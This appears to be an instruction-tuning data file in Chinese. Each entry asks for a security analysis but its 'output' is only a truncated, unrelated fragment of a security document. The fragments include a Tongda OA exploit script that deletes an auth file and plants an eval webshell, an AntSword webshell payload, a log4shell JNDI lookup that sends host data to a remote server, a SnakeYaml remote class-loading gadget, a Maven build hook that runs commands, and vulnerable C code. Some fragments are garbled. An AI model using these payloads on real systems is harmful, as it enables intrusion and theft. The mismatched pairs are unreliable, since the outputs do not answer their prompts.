    printf("Please, introduce PIN\r\n");
    gets(pin);
    result = comparePIN(pin);
    if (result == false) {
        sprintf(tmp,"PIN correct\r\n");
    } else {
        sprintf(tmp,"PIN %s is
                     incorrect\r\n",pin);
    }
    printf(tmp);
    return result;
}
问题在哪?
const char *PIN = "19379148"
// Compare the PIN with the correct one
// Return true if different
bool comparePIN(char *pin) {
    for (int i=0; i<strlen(PIN); i++) {
        if (pin[i]!=PIN[i])
            return true;
    }
    return false;
}
// Authenticate PIN.
// Return true if incorrect
bool pinAuthentication() {
    char pin[80];
    char tmp[80];
    bool result=false;
    printf("Please, introduce PIN\r\n");
    fgets(pin,sizeof(pin),stdin);
    result = comparePIN(pin);
    if ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

-webshell
self-xssxss
A“”
0x01
http/https
nodejsgoby
js
rcegobywebshell
1. jb
2. shell.php
3. jb
4. jb
5. jbwebshell
6.
7. JS⸻—RCE
OKwebshelljbrcewebshell
webshell
1. post
2.
3.
4. ”“
5.
0x02
111webshell
111=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$oparr=preg_split("/\\\\|\//",$opdir);
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$tmdir=".cc06e1b50e";
@mkdir($tmdir);
@chdir($tmdir);
@ini_set("open_basedir","..");
for ($i=0;$i<sizeof($oparr);$i++) {
@chdir("..");
}
@ini_set("open_basedir","/");
@rmdir($ocwd."/".$tmdir);
}
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "c63f"."aa80";  //
echo @asenc($output);
echo "03b"."b509"; //
}
ob_start();
try {
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D}
";
if(substr($D,0,1)!="/") {
foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
} else {
$R.="/";
}
$R.="
";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="
{$s}";
echo $R;
;
}
catch(Exception $e) {
echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
c63faa80D:/phpstudy_pro/WWW C:D:E:F:
Windows NT LAPTOP-465G 6.2 build 9200 (Windows 8 Business Edition) i586 USER
03bb509
webshellweb
”webshell“
 \t
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]"; // echo "xxxx"."xxxx";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c); //xxxxxxxx
$txt='D:/phpstudy_pro/WWW'."\t".'C:D:E:F:'."\t".'Windows NT LAPTOP-46FFII5G 6.2 build 9200 (Windows 8 Business Editi
on) i586'."\t".'administrator';
echo "$key"."$txt";//
$ret=127;
++
$ze="%echo \"([^<]*?).\"([^<]*?)\";%si";
preg_match($ze,$A,$B);
$c="$B[0]";
$key= str_replace(['"', '.', 'echo', ' ', ";"], "", $c);
    $payload='http://exp.com/index.html';//js
    echo "$key".'ret=405'."\n".'AntSword'."$payload";//
0x03 demo
w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Malicious CDNs: Identifying Zbot
Domains en Masse via SSL
Certiﬁcates and Bipartite Graphs
Dhia Mahjoub and Thomas Mathew
Overview
• The goal of this talk is to provide a series of simple
statistical methods that allow a researcher to
identify ZBot domains using SSL data
• All of the data discussed is open source and can
be obtained at scans.io/study/sonar.ssl (thanks
rapid7!)
SSL
• Secure Socket Layer
• Method of encrypting trafﬁc over HTTP
• Increase in websites employing SSL
SSL (cont)
• Interested in the x509 certiﬁcate
• Contains information regarding the issuer, subject,
creation date, etc
• Each certiﬁcate associated with IP(s)
• x509 contain a CommonName ﬁeld which can be
either blank or contain an alphanumeric string
• Our interest is in CommonNames that are valid
domain names
SSL (Cont)
• x509 certiﬁcates reveal valuable network
information
• Maps relationship between domestic vs
commercial IP space
•  Gives information regarding ownership of a
particular IP
SSL (Cont)
CDNs, SSL, Zbot?
• CDNs serve as content delivery for popular domains
• CDNs help establish similar connections to a
domain by hosting identical x509 certiﬁcates or
x509 certiﬁcates with the same common name
• In recent times Zbot has attempted to use its
network of hacked machines as CDN for malicious
actors (hosts carding forums, trojans, etc)
• Can we use SSL data to help us identify Zbot?
Sonar Data
• 2x or 4x monthly scan of the entire IPv4 IP space
• x509 —> IP pairing
• Sampled data because of restrictions
Sonar Data
• Longitudinal study of Sonar SSL data. Examine
hosting patterns over a 5 month time period
• Hope to identify anomalous behavior
Sonar Data
• Table documents the
number of SHAs and
CommonNames per
month
• Manually infeasible
Unique
SHAs
Unique
Common
Names
JAN
1,068,402
850,236
FEB
692,542
589,609
MARCH
977,484
813,773
APRIL
249,252
233,834
MAY
1,098,914
958,321
Investigation
• Data easier to work with if it has a natural structur...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

【漏洞⽇记】深X服还没完，通达OA⼜搞RCE漏洞【OA V11.6】
Agan '
 338
 收藏 1
 原⼒计划
分类专栏： Web常⻅漏洞篇【免费】
 ⽂章标签： 通达OA RCE
2020-08-19 02:47:07
版权
当你的才华
还撑不起你的野⼼时
那你就应该静下⼼来学习
⽬录
0x01 通达OA V11.6 源码下载与安装
0x02 前⾔
0x03 复现漏洞
EXP 脚本
0x04 通达OA V11.5和V11.7 版本⽆法复现该漏洞过程
本次漏洞复现，只测试了三个版本：
通达 OA V11.7 (最新)
通达 OA V11.6
通达 OA V11.5
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
修复建议：升级⾄最新版本
PS：该漏洞影响很⼤，如果被成功利⽤后会删除OA所需要的php⽂件来绕过验证，
会对⽹站造成影响，建议渗透测试业务时，千万要让客户做系统备份或数据备份，很
容易出事... ...
请勿⽤作犯罪使⽤，⽹络不是法外之地，请珍惜⽣命，勿触犯法律... ...
你任何的动作，别⼈都知晓，⼈外有⼈，天外有天，且⾏且珍惜... ...
0x01 通达OA V11.6 源码下载与安装
通达OA V11.6 下载地址：http://www.kxdw.com/soft/23114.html
步骤1：运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤2：运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤3：运⾏安装包傻⽠式安装
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
步骤4：成功安装
0x02 前⾔
账号为：admin 密码为：空
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
先登录看看，密码为空，直接登录，样式是这样的
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
0x03 复现漏洞
EXP 脚本
EXP：直接打，直接写到⽹站根⽬录下，⽂件名为：_agan.php，菜⼑链接密码为：agan
1
import requests
2
3
target="http://192.168.159.137:8080/"
4
payload="<?php eval($_POST['agan']);?>"
5
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
6
input("Press enter to continue")
7
print("[*]Deleting auth.inc.php....")
8
订阅博主
关注
点赞 3
评论 2
分享
收藏 1
⼿机看
打赏
直接利⽤上述代码即可，改⼀下你的URL地址即可
成功利⽤
10
11
print("[*]Checking if file deleted...")
12
url=target+"/inc/auth.inc.php"
13
page=requests.get(url=url).text
14
if 'No input file specified.' not in page:
15
    print("[-]Failed to deleted auth.inc.php")
16
    exit(-1)
17
print("[+]Successfully deleted auth.inc.php!")
18
print("[*]Uploading payload...")
19
21
requests.post(url=url,files=files)
22
url=target+"/_agan.php"
23
page=requests.get(url=url).text
24
if 'No input file specified.' not in page:
25
    print("[+]Filed Uploaded Successfully")
26
    print("[+]URL:",url)
27
else:
28
    print("[-]Failed to upload file")
9
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
url=target+"/general/data_center/utils/upload.php?action=upload&fil...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

祥云杯 Nu1L
MISC
进制反转
RAR 伪加密，改一下 header，解压得到一个音频，根据提示对 bit 进行翻转
with open('flag.wav','rb') as f:
content = f.read()
res = []
for c in content:
res.append((~c)&0xff)
with open('output.wav','wb') as f:
f.write(bytes(res))
音频翻转：https://audioalter.com/reverse/
在线识别：https://www.acrcloud.com/identify-songs-music-recognition-online/
xixixi
binwalk 一下看到有个 png 头，但文件不完整。再翻一翻找到两个 python 脚本，参考脚本还
原图片即可
import struct
# with open('new.vhd', 'rb') as f:
#     content = f.read()
# res = content.split(b'\x00'*128)
# rres = []
# for i in res:
#     if i:
#         rres.append(i.strip('\x00'))
# parts = []
# for idx, val in enumerate(rres):
#     if 'IHDR' in val:
#         print(idx, len(val))
# if len(val) > 0 and len(val) % 512 == 0 and val[-1] == '\xff':
#     parts.append(val.rstrip('\xff'))
# print(len(parts))
# print(rres[73])
# print('='*50)
# print('='*50)
# print(rres[74])
class FAT32Parser(object):
def __init__(self, vhdFileName):
with open(vhdFileName, 'rb') as f:
self.diskData = f.read()
self.DBR_off = self.GetDBRoff()
self.newData = ''.join(self.diskData)
def GetDBRoff(self):
DPT_off = 0x1BE
target = self.diskData[DPT_off+8:DPT_off+12]
DBR_sector_off, = struct.unpack("<I", target)
return DBR_sector_off * 512
def GetFAT1off(self):
target = self.diskData[self.DBR_off+0xE:self.DBR_off+0x10]
FAT1_sector_off, = struct.unpack("<H", target)
return self.DBR_off + FAT1_sector_off * 512
def GetFATlength(self):
target = self.diskData[self.DBR_off+0x24:self.DBR_off+0x28]
FAT_sectors, = struct.unpack("<I", target)
return FAT_sectors * 512
def GetRootoff(self):
FAT_length = self.GetFATlength()
FAT2_off = self.GetFAT1off() + FAT_length
return FAT2_off + FAT_length
def Cluster2FAToff(self, cluster):
FAT1_off = self.GetFAT1off()
return FAT1_off + cluster * 4
def Cluster2DataOff(self, cluster):
rootDir_off = self.GetRootoff()
return rootDir_off + (cluster - 2) * 512
output = open('flag.png', 'wb')
parser = FAT32Parser('new.vhd'...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Attacking the Traveling Salesman
Point-of-sale attacks on airline travelers
DEFCON 2014
Alex Zacharis
Nikos Tsagkarakis
info@census-labs.com
Census S.A.
http://census-labs.com/
Contents
• Why target travelers?
• Point-of-Sale attacks in transportation
• Case Study
• Back to the Lab
• POS: exploiting different modules
• Cameras everywhere
• Scan that QR
• RAM scrapping
• TS POS Malware
• Aztec Revenge Tool
Why target travelers?
●
The need for communication is greater than privacy and/or
security
●
The unknown Internet access landscape forces you to trust
what you normally wouldn’t
• WiFi:
• Login to (corporate) email accounts
• Login to social networks
• Carry mobile phones, tablets, laptops ,usually all on at the
same time ;)
• No second thoughts about public Internet hotspots
Point-of-Sale attacks in Transportation
Unlike traditional POS attacks in Commerce (ex.
Target Incident):
• Credit card details
• Web credentials
We target International Travelers' information:
• Name
• Picture
• Flight number
• Destination
• Seat number
• Communication partners
• Other_.
How is the POS introduced
As in every known POS Attack (Retail, Healthcare, etc):
1. The system may have unpatched
vulnerabilities
2.
An employee of the victim company may
introduce it by mistake (opening an email
attachment containing malware)
3. The source might even be an employee
looking to cause trouble.
POS attack outcome
Who benefits?
•Cyber Criminals (Identity theft)
•Private Investigators (spying)
•Government Agencies (spying)
After a successful attack we can achieve:
●Travelers “profiling” without authorized access to Airport Data
●With enough data collected we can categorize travelers per:
●
Destination (ex. Who travelled from Greece to Germany in the last
month)
●
Company (ex. All Aegean passengers)
●
Class (ex. Who is travelling 1rst class OR Business)
●
Flight/Date (ex. All passengers of a specific flight)
●
Combination of the above
POS Systems Present
What are the possible POS Sy...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

tomcat整体架构和处理请求的流程
tomcat源码调试
以 tomcat8.5.68 为例
首先下载tomcat源代码：tomcat8
创建资源文件目录。在任意文件夹下可以创建一个文件夹，用于存放配置文件，站点信息等。我创
建的 catalina_home
新建pom.xml，使用maven管理项目，导入调试所需要的依赖包
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>Tomcat8.5.38</artifactId>
    <name>Tomcat8.5.38</name>
    <version>8.5</version>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.easymock</groupId>
            <artifactId>easymock</artifactId>
            <version>3.5.1</version>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant-apache-log4j</artifactId>
            <version>1.6.5</version>
        </dependency>
        <dependency>
            <groupId>ant</groupId>
            <artifactId>ant-commons-logging</artifactId>
            <version>1.6.5</version>
        </dependency>
        <dependency>
            <groupId>wsdl4j</groupId>
            <artifactId>wsdl4j</artifactId>
            <version>1.6.2</version>
        </dependency>
        <dependency>
            <groupId>javax.xml.rpc</groupId>
            <artifactId>javax.xml.rpc-api</artifactId>
            <version>1.1</version>
        </dependency>
        <dependency>
            <groupId>org.eclipse.jdt.core.com...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Warez Trading and Criminal
Copyright Infringement
Eric Goldman
Marquette University Law School
eric.goldman@marquette.edu
http://eric_goldman.tripod.com
Overview
Definition of warez trading
Applicable criminal laws
Some prosecutions
Some policy concerns
The bottom line:
 Warez trading has been criminalized
 More warez traders will be sent to jail
What is Warez Trading?
Warez trading vs. commercial piracy
Different types of warez traders
 Warez distribution groups
 Warez collectors
 Warez downloaders
 Abandonware enthusiasts
Criminal © Infringement
Willful copyright infringement
committed:
 for commercial advantage or private
financial gain, or
 by reproducing or distributing, in any 180-
day period, works with a total retail value
over $1,000
Punishment can be up to 5 years in
prison and $250,000 fine
Prosecution Elements (1)
Valid copyright exists
Infringement
 Uploading, downloading, distribution
 Evidentiary challenges
 First sale doctrine
 Fair use
 Nature of the use
 Nature of the work
 Amount taken
 Effect on the market
Prosecution Elements (2)
Willfulness
 Minority view: intent to copy
 Majority view: “voluntary, intentional
violation of a known legal duty”
 Good faith but incorrect belief of non-
infringement
 Good faith but incorrect belief of fair use
 Ignorance of the law
Prosecution Elements (3)
Commercial advantage/financial gain
 Financial gain: “receipt, or expectation of
receipt, of anything of value, including the
receipt of other copyrighted works”
Retail value
 $2,500 for felony, $1,000 for misdemeanor
 Price of warez v. manufacturer’s list price
Other Criminal Laws
Circumvention
 Circumventing
 Trafficking in circumvention devices
Hacking/Trespass
 Unauthorized access to obtain information
 Unauthorized access and causing damage
Theft
Trade Secret Misappropriation
Copyright Management Information Integrity
Prosecutions
Classes of defendants
 Distribution groups (Fastlane, PWA, DOD, RWZ)
 Individual traders ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

author：pen4uin
time：2021/11/13
别想用我源码：针对源码泄露的反制思路(仅供娱乐)
目录
0x01 起
0x02 承
0x03 转
Maven
Gradle
0x04 合
0x01 起
自从看了@DriverTom师傅写的这篇文章后，
给我带来的感受就是，关于攻防演练的“潜规则”就只剩下
0x02 承
之前在fofa的帮助“捡到”了几套源码
同时，也从github从git clone了很多工具的源码(java)进行review 学习，但是在IDEA初次打开的时候，
相信大家对下面这个弹窗不会陌生
我不知道你们的选择是什么，我之前都是毫不在意地Trust Project，然后使用maven打包运行。
但是针对这个小细节，不由心生疑惑：“这个潜意识的操作有被反制的可能吗？”
0x03 转
这里只测试经常遇到了的两种Java项目构建工具，提供思路，其他的可自行测试。
Maven
测试如下：
源码
demo.java
pom.xml
public class demo {
public static void main(String[] args) {
  System.out.println("Hacked By Yourself ！");
}
}
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>rceDemo</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
  <maven.compiler.source>7</maven.compiler.source>
  <maven.compiler.target>7</maven.compiler.target>
</properties>
<build>
  <plugins>
      <plugin>
          <groupId>org.codehaus.mojo</groupId>
          <artifactId>exec-maven-plugin</artifactId>
          <version>1.1.1</version>
          <executions>
              <execution>
                  <id>some-execution</id>
                  <phase>compile</phase>
                  <goals>
                      <goal>exec</goal>
                  </goals>
              </execution>
          </executions>
          <configuration>
              <executable>calc</executable>
弹计算器
Gradle
测试如下：
源码
build.gradle
          </configuration>
      </plugin>
  </plugins>
</build>
</project>
plugins {
id 'java'
}
group 'org.example'
version '1.0-SNAPSHOT'
repositories {
mavenCentral()
}
dependencies {
settings.gradle
0x04 合
  其实关于漏洞产生的本质—“Untrusted Data From Outside”，不仅适用于各种网站、各种软件，也
同样适用于我们自己。
水这篇文章虽有供娱乐的目的，但同时也是给自己提个醒儿，以后在这些方面还是留意一下，别栽了”跟
头“！
  至于如何提升杀伤力真正达到反制的效果，我不会，我是废物。
testImplementation 'org.junit...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Ghost Telephonist
Impersonates You Through LTE CSFB
Yuwei ZHENG, Lin HUANG Qing YANG, Haoqi SHAN, Jun LI
UnicornTeam, 360 Technology
July 30, 017
Who We Are
•  360 Technology is a leading Internet security company in China. Our
core products are anti-virus security software for PC and cellphones.
•  UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a
group that focuses on the security issues in many kinds of wireless
telecommunication systems.
•  Highlighted works of UnicornTeam include:
•  Low-cost GPS spoofing research (DEFCON 23)
•  LTE redirection attack (DEFCON 24)
•  Attack on power line communication (BlackHat USA 2016)
Voice Solutions in LTE Network
•  VoLTE
•  Voice over LTE, based on IP Multimedia Subsystem (IMS)
•  Final target of network evolution
•  CSFB
•  Circuit Switched Fallback: switch from 4G to 3G or 2G when taking voice call
•  SV-LTE
•  Simultaneous Voice and LTE
•  Higher price and rapid power consumption on terminal
Occasional Discovery
•  When we used OsmocomBB as cellphone to access GSM
 network, we met a difficultyDuring debugging the
 problem, we occasionally found a fake paging response
 can build the connection to network
Normal 2G Call vs. CSFB
When we analyze the
signaling flow of CSFB,
we were surprised to
find that there is no
authentication step.
In normal 2G call,
AKA does exist for
every call.
Vulnerability in CSFB
UE
eNB
MME
BSC
MSC
Paging Request
Paging
Paging
Extended Service Requet
Service Requet
RRC Connection
Release
Paging Response
Setup
Call Conﬁrmed
Alerting
Connect
Connect Acknowledge
NO Authentication
Vulnerability in CSFB
•  The principle is like someone comes out from the door of LTE, then enters the door of
GSM. He shouts ‘I must be as quick as possible!’ Then he is permitted to enter, without
the badge of GSM.
How can we exploit it?
•  Basic idea
•  Because CSFB hasn’t authentication procedure, attackers can
send Paging Response on 2G network, impersonating the victim...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

DEF CON 101
THE PANEL
SUPER N00B KART
Welcome to Las Vegas
Pace yourself
THIS IS DEF CON
DGAF
Everyone was a n00b once.
All of us are still n00bs at
something.
THIS IS THE DESERT
Stay hydrated
All Good
Sit Down
And Drink
Grab A
Glass of
Water
Call A
Doctor
THE COUNTDOWN
Simple rules for
surviving Def Con
THE COUNTDOWN
3
Get at least three hours sleep each night
THE COUNTDOWN
2
Eat at least two
meals each day
THE COUNTDOWN
1
Bathe at least one
time each day
Wash your hands, too
Underbelly is
Not Sexy
A WORD ABOUT SHIRTS
DEF CON CRUD
Fist your friends
Fist them often
Seriously, wash your damn hands
This is Dick
Don’t.
Be.
A.
Dick.
The Basics
Hold the door.
Keep your head up.
Pay attention.
Don’t block the hallway.
Don’t stand at the base of the
escalator.
Don’t Be an Asshat
Don’t ruin everyone’s time
Don’t Heckle
If you don’t agree, talk afterwards.
See previous slide.
Ask Permission
Phones and Wireless
Seriously?
This is a hacker convention.
Use your head.
Pictures
See previous slide.
Expect to be in a picture or two.
Ask nicely if you don’t want to be in one.
Not everything is free
Just because you see it laying out, does
not mean you can take it.
Have a Plan
Read the program.
HACKER TRACKER!
Talks fill up quickly.  Consider purchasing
the videos from TSOK.
•
Originally created by Whitney
Champion (shortxstack)
•
Lot of good info about DC25
•
Available on the App Store and
Google Play
•
You should have downloaded it
before now
Hacker Tracker App
The Talks
Villages
Biohacking Villages
Car Hacking Village
Crypto & Privacy Village
Hardware Hacking Village
ICS Village
IoT Village
Lockpick Village
Packet Hacking Village
Recon Villages
R00tz
303 Skytalks
Social Engineer Village
Tamper Evident Village
Voting Machine Hacking
Village
Wireless Village
Contests + Events
Too many to list – here are some highlights.
•  T.D.F. X-Hour Film Contest.
•  Capture the Flag.
• ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Managed Code Rootkits
Managed Code Rootkits
Hooking into Runtime Environments
Hooking into Runtime Environments
Erez Metula,
Erez Metula,
Secure Software Engineer
Secure Software Engineer
Application Security Department Manager, 2BSecure
Application Security Department Manager, 2BSecure
ErezMetula@2bsecure.co.il
ErezMetula@2bsecure.co.il
August 2
August 2nd
nd, 2009
, 2009
DEMO – println(string s) goes crazy
..or how to make code do more than it should
•
Trivial question:
What should be the output of the following (Java) code?
class HelloWorld {
        public static void main(String args[])  {
           System.out.println("Hello World!");
        }
}
•
A simple PoC of language modification. Sometimes  “1+1=3”
•
“println()” was modified to print every string twice
Agenda
• Introduction to managed code execution model
• What are Managed Code Rootkits?
• MCR advantages
• Application VM modification and malware deployment
• Interesting attack scenarios (+ DEMOS!)
• .NET-Sploit 1.0 – Generic Framework modification tool
• Q&A – if time permits..
Background
• I started playing with the idea of Managed Code language
modification back in 2008
• Wrote a whitepaper titled “ .NET Framework Rootkits –
Backdoors inside your Framework”
• Presented in BH EU 2009 & CanSecWest
• .NET Rootkits was a case study of the Managed Code
Rootkit concept
• Today we’ll talk about the general concept and take a look
at Java Rootkits as well
What is managed code
?
•
Code that executes under the management of an application virtual
machine, a.k.a “the sandbox”
• Think of it as an “applicative OS” for apps
• Example: Java Virtual machine (JVM)
• High level intermediate assembly language
• As opposed to unmanaged code (example:  C/C++) which is
executed directly by the CPU
•
Write once, run everywhere
• Managed code is independent of the underlying platform.
• The VM acts as a machine specific “bridge”
• Same code can run on Windows, Linux, Mac, Mainframe,
mobile phone, database, car,...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

log4shell
0x00
log4shell
anyway
0x01
waf
rasp
1. wafrasphidssoc
2. rasp
log4j
0x02
1. nolookupstrue
2. key
3. jdkrce
1nolookups
nolookupstruelookup
log4jXMLlookup
 log.error("${sys:java.version}"+"xxxxx") lookup
java version
lookup
1.
2. lookup
3.
lookupGitHub
2
1. jvm -Dlog4j2.formatMsgNoLookups=true
2. classpathlog4j2.component.propertieslog4j2.formatMsgNoLookups=True
3.  FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS true
1. 2.10
2. key
 LOG4J_log4j2_formatMsgNoLookups=True
3jdk
jdkdnslogjdk
gadgetspringboot
https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg
0x03
nolookupsfalselookuprc1
nolookupstrue
1. rc1rc2nolookupstrue
2. jndifalse
3. lookup
lookup
jndilookupnolookups=false
log4j2jndilookuplookupjndi
0x04
${jndi:dns://xxx.xxx.xxx.xxx:port/${hostName} -${sys:user.dir}- ${sys:java.version} - ${java:os}}
vpsudp
RCE


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Home Insecurity: No Alarms, False Alarms, and SIGINT
Logan Lamb
lamblm@ornl.gov
ABSTRACT
The market share of home security systems has substan-
tially increased as vendors incorporate more desirable fea-
tures: intrusion detection, automation, wireless, and LCD
touch panel controls. Wireless connectivity allows vendors
to manufacture cheaper, more featureful products that re-
quire little to no home modiﬁcation to install. Consumer
win, since adding devices is easier. The result: an osten-
sibly more secure, convenient, and connected home for a
larger number of citizens. Sadly, this hypothesis is ﬂawed;
the idea of covering a home with more security sensors does
not translate into a more secure home.
Additionally, the
number of homes using these vulnerable systems is large,
and the growth rate is increasing producing a even larger
problem. In this paper, we will demonstrate a generalized
approach for compromising three systems: ADT, the largest
home security dealer in North America; Honeywell, one of
the largest manufacturers of security devices; and Vivint,
a top 5 security dealer.
We will suppress alarms, create
false alarms, and collect artifacts that facilitate tracking the
movements of individuals in their homes.
1.
INTRODUCTION
Home security systems have advanced tremendously in the
past 25 years. They have evolved from simple systems com-
posed of wired sensors, keypads, and control panels to a
central hub for all home security and automation needs.
Newer home security systems have incorporated most every
advancement in consumer electronics to make more feature-
ful systems including touchscreens, two-way communication,
wireless sensors, and wireless home automation. Some can
even be controlled from a smartphone.. This rapid incorpo-
ration of new technology to create innovative features not
only increases the attack surface of the system, but also
reduces the resources expended on the upkeep of legacy fea-
tures. Because of this trade-o↵, allocating more res...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-SnakeYaml反序列化
SnakeYaml 基本使用
导包
序列化
MyClass 类
序列化测试
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>
package test;
public class Myclass {
    String value;
    public Myclass(String args){
        value=args;
    }
    public String getValue(){
        return value;
    }
}
package test;
import org.junit.Test;
import org.yaml.snakeyaml.Yaml;
import java.util.HashMap;
public class tes {
    @Test
    public void test(){
        Myclass obj = new Myclass("this is my data");
        HashMap<String, Object> data = new HashMap<>();
        data.put("Myclass",obj);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(data);
        System.out.println(dump);
    }
}
结果
前面的 !! 是用于强制类型转化，强制转换为 !! 后指定的类型，其实这个和 Fastjson 的 @type 有
着异曲同工之妙。用于指定反序列化的全类名
反序列化
yaml 文件
反序列化测试
结果
反序列化漏洞
漏洞复现
POC
Myclass: !!test.Myclass {}
name:"zhangsan"
sex:man
age:20
id:1000001
package test;
import org.junit.Test;
import org.yaml.snakeyaml.Yaml;
import java.io.InputStream;
public class unserial {
    @Test
    public void test(){
        Yaml yaml = new Yaml();
        InputStream resourceAsStream =
this.getClass().getClassLoader().getResourceAsStream("test.yaml");
        Object load = yaml.load(resourceAsStream);
        System.out.println(load);
    }
}
name:"zhangsan" sex:man age:20 id:1000001
结果
上面只是简单的进行 url 访问，要想深入利用，可以参考该项目：yaml反序列化payload
SPI机制
SPI ，全称为 Service Provider Interface ，是一种服务发现机制。它通过在 ClassPath 路径
下的 META-INF/services 文件夹查找文件，自动加载文件里所定义的类。也就是动态为某个接口
寻找服务实现。那么如果需要使用 SPI 机制需要在 Java classpath 下的 META-INF/services/
目录里创建一个以服务接口命名的文件，这个文件里的内容就是这个接口的具体的实现类。
SPI 实现原理：程序会 java.util.ServiceLoder 动态装载实现模块，在 META-INF/services 目
录下的配置文件寻找实现类的类名，通过 Class.forName 加载进来, newInstance() 反射创建对
象,并存到缓存和列表里面。
import org.yaml.snakeyaml.Yaml;
public class demo {
    public static void main(String[] args) {
        String malicious="!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL [...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Aura
A peer-to-peer reputation system
Cat Okita
Copyright 2003
2
INDEX
INDEX ................................................................................................................................................................... 2
ABSTRACT .......................................................................................................................................................... 3
INTRODUCTION................................................................................................................................................ 3
BACKGROUND .................................................................................................................................................. 3
REQUIREMENTS............................................................................................................................................... 4
METHODOLOGY............................................................................................................................................... 5
REPUTATION ...................................................................................................................................................... 5
TEMPLATES AND GOSSIP................................................................................................................................... 5
DESIGN ISSUES.................................................................................................................................................. 6
DESIGN................................................................................................................................................................. 7
IMPLEMENTATION ......................................................................................................................................... 9
CONFIGURATION..............................................................................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

离线安装windbg preview
因为近期的⼀些⼯作问题，⼜重新⽤上了宇宙第⼀调试器 windbg ，但是我是windows
server的ECS环境，没法从微软商店安装 windbg preview ，所以只能暂时安装 windbg 。⼈
都是视觉动物，看着⼿⾥丑陋的 windbg ，我陷⼊了沉思，决定研究⼀下怎么离线安装 wind
bg preview 。
下⾯就是我找到的安装⽅法：
找到 windbg preview  的微软商店安装⻚⾯: https://apps.microsoft.com/store/detail/wi
ndbg-preview/9PGJGD53TN86?hl=zh-hk&gl=HK
然后将这个URL放在⽹站  https://store.rg-adguard.net/ 上进⾏解析，解析出安装包的地
址：
看到解析出来的 appx 后缀的⽂件就是安装包，copy下载地址后，使⽤powershell进⾏安
装。
接下来就看到已经安装成功，看起来真舒服。
# 下载安装包
PS C:\Users\Administrator\Desktop> Invoke-WebRequest
 'http://tlu.dl.delivery.mp.microsoft.com/filestreamings
ervice/files/978feae8-9dfb-448a-af1a-f85fa96fd5ab?
P1=1658971914&P2=404&P3=2&P4=j21fqtjctMAIZuAGmX1bFOHKmo2
AuSBnK8H4GKqFYqcAHmZ14Y3bpEiKp1FYwXkaAkiz%2fC7TQy2EF6kpY
WJuyg%3d%3d'   -OutFile .\windbg.appx
## 安装
Add-AppPackage -Path .\windbg.appx
1
2
3
4
5


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

优化ARL的⼀些坑的细节
0x00 前⾔
这篇⽂章主要是针对前⾯那篇关于漏扫优化的具体实践，实践时候也碰到了⼀些预想不到的问题包
